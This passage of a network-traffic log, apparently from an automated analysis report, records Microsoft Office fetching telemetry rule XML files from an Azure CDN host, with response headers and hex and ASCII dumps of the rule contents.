Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:48 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:48 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022148Z-185f5d8b95cx9g8lhC1NYCtgvc00000001xg00000000k2ft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:48 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.8	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:48 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:48 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022148Z-1777c6cb754rz2pghC1TEBghen00000008wg000000008uyb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:48 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.8	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:48 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:48 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022148Z-r1d97b9957789nh9hC1TEBxha800000008e0000000002urf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:48 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.8	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:49 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:49 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022149Z-1777c6cb754j47wfhC1TEB5wrw00000004pg00000000r6fn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:49 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.8	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:49 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:49 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:49 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: b992c0cc-401e-0048-5ef2-3a0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022149Z-r1d97b9957747b9jhC1TEBgyec00000008a000000000bwzm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 02:21:49 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.8	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:49 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:49 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022149Z-185f5d8b95c68cvnhC1NYCfn7s00000009g000000000tbz5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:49 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.8	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:49 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:49 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:49 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022149Z-185f5d8b95cp7lkfhC1NYC7rpw00000009r000000000fggq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:49 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.8	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:49 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:49 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:49 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 733c6689-901e-007b-288c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022149Z-185f5d8b95c4vwv8hC1NYCy4v400000009pg00000000nd20 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 02:21:49 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.8	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:50 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:50 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:50 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ff95cf15-b01e-0001-328c-3a46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022150Z-r1d97b99577ndm4rhC1TEBf0ps000000089g00000000dqan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:50 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.8	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:50 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:50 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:50 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022150Z-1777c6cb7544nvmshC1TEBf7qc00000008pg00000000q3vn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:50 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.8	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:50 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:50 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:50 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022150Z-r1d97b99577n4dznhC1TEBc1qw000000084g00000000kw3a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:50 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.8	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:50 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:50 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:50 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022150Z-r1d97b99577ckpmjhC1TEBrzs0000000087g00000000emg3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:50 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.8	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
